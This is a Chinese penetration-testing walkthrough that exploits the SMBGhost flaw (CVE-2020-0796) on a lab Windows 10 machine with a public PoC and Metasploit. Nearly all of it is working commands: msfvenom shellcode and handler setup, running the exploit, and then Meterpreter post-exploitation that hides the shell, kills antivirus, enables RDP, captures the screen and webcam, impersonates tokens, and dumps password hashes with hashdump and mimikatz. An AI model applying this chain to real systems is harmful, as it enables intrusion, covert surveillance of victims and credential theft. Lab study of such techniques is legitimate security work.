一、CVE-2020-0796简介

0x01 漏洞简介

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。

0x02 影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows Server, Version 1903 (Server Core installation)

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows Server, Version 1909 (Server Core installation)

二、实验环境

靶机:存在漏洞的win10虚拟机环境,下载地址https://msdn.itellyou.cn/

攻击机:kali

Poc:https://github.com/chompie1337/SMBGhost_RCE_PoC

05.png

三、shell获取

0x01 使用msf生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt

01.png将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可

0x02 使用kali中的msf开启目标端口连接处理器

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set rhost 192.168.232.134

rhost => 192.168.232.134

msf5 exploit(multi/handler) > set lport 3333

lport => 3333

msf5 exploit(multi/handler) > exploit

02.png

0x03 执行攻击脚本

python3 exploit.py -ip 192.168.232.134

03.png成功获得shell
04.png

注意要关闭 Microsoft Defender 防火墙,要不不能执行成功。

四、Meterpreter后渗透攻击

0x01 进程迁移、隐藏shell

在刚获得Meterpreter shell时,该shell是极其脆肉和易被发现的,所以第一步要移动这个shelll,把它和目标机中一个稳定的进程绑定在一起。

meterpreter > getpid \\获取当前Meterpreter shell进程PID

06.png07.pngmeterpreter > run post/windows/manage/migrate \\自动寻找合适的进程,然后迁移

08.png09.png当然也可以使用migrate迁移到你指定的进程。

0x02 常见系统命令

meterpreter > sysinfo \\sysinfo查看目标机的系统信息

10.pngmeterpreter > idletime \\查看机器运行时间

11.png
meterpreter > route \\查看路由信息

13.pngmeterpreter > getuid \\查看当前渗透成功的用户名

14.pngmeterpreter > run post/windows/gather/enum_logged_on_users \\列举当前登录的用户

15.png

meterpreter > run post/windows/gather/enum_applications \\列举应用程序

16.pngmeterpreter > run post/windows/gather/checkvm \\检查是否是虚拟机

12.png

0x03 实用操作

meterpreter > run post/windows/manage/killav \\关闭杀毒软件

17.pngmeterpreter > run post/windows/manage/enable_rdp \\开启远程桌面

18.png19.png
meterpreter > shell \\进入目标机shell

20.png

0x04 截屏与操作摄像头

meterpreter > load espia  \\需要先加载Espia插件

Loading extension espia...Success.

meterpreter > screengrab

Screenshot saved to: /root/rDMtYWQQ.jpeg

21.png22.png

meterpreter > webcam_list \\查看有没有摄像头

meterpreter > webcam_snap \\打开摄像头,使用摄像头抓取一张图片

meterpreter > webcam_stream \\开启直播模式

23.png

0x05 文件操作

meterpreter > getlwd \\查看当前本地在哪个目录

meterpreter > pwd \\查看目标价在哪个目录

24.pngmeterpreter > ls \\列出目标机当前目录文件

25.pngmeterpreter > search -f *.txt -d c:/tmp \\搜索文件

26.pngmeterpreter > download c:/tmp/test.txt.txt /root \\下载指定文件

27.pngmeterpreter > upload /root/test2.txt c:/tmp \\上传文件到指定目录

28.png29.png0x06 提权相关操作

c:\>whoami /groups \\查看我们当前的权限

30.png查看系统补丁安装情况,可以利用未安装补丁的漏洞进一步渗透提权。

有如下2种补丁查看方法

c:\>systeminfo \\系统查看命令查看补丁安装情况

31.png32.pngc:\>Wmic qfe get Caption,Description,HotFixID,InstalledOn \\使用WMIC列出补丁

33.pngmeterpreter > getsystem \\自动提权命令

34.png此处提权失败可能是因为我本身就是最高权限,无需提权。

0x07 令牌窃取

meterpreter > use incognito \\加载incognito插件

Loading extension incognito...Success.

meterpreter > list_tokens -u \\列出可用的token

35.png36.png

meterpreter > impersonate_token DESKTOP-I29CS9S\\root    \\令牌假冒,假冒root用户的令牌

37.png0x08 HASH攻击

meterpreter > hashdump \\使用hashdump抓取密码

38.pngroot:1000:aad3b435b51404eeaad3b435b51404ee:d503a8571a79baf9b951884f350ad048:::

39.pngmeterpreter > run windows/gather/smart_hashdump  \\使用smart_hashdump导出所有用户的hash到文件

40.pngmeterpreter > load mimikatz \\使用mimikatz抓取密码

41.pngmeterpreter > msv  \\抓取系统hash值

meterpreter > Kerberos \\抓取系统票据

meterpreter > wdigest \\抓取系统账户信息

42.pngmeterpreter > mimikatz_command -f samdump::hashes  \\抓取hash,mimikatz_command可以让我们使用Mimikatz全部功能。这里不知道为啥没用抓取成功,可能是win10不支持?

43.pngmeterpreter > mimikatz_command -f handle::list \\查看进程

44.png45.png

本文作者:tony86, 转自FreeBuf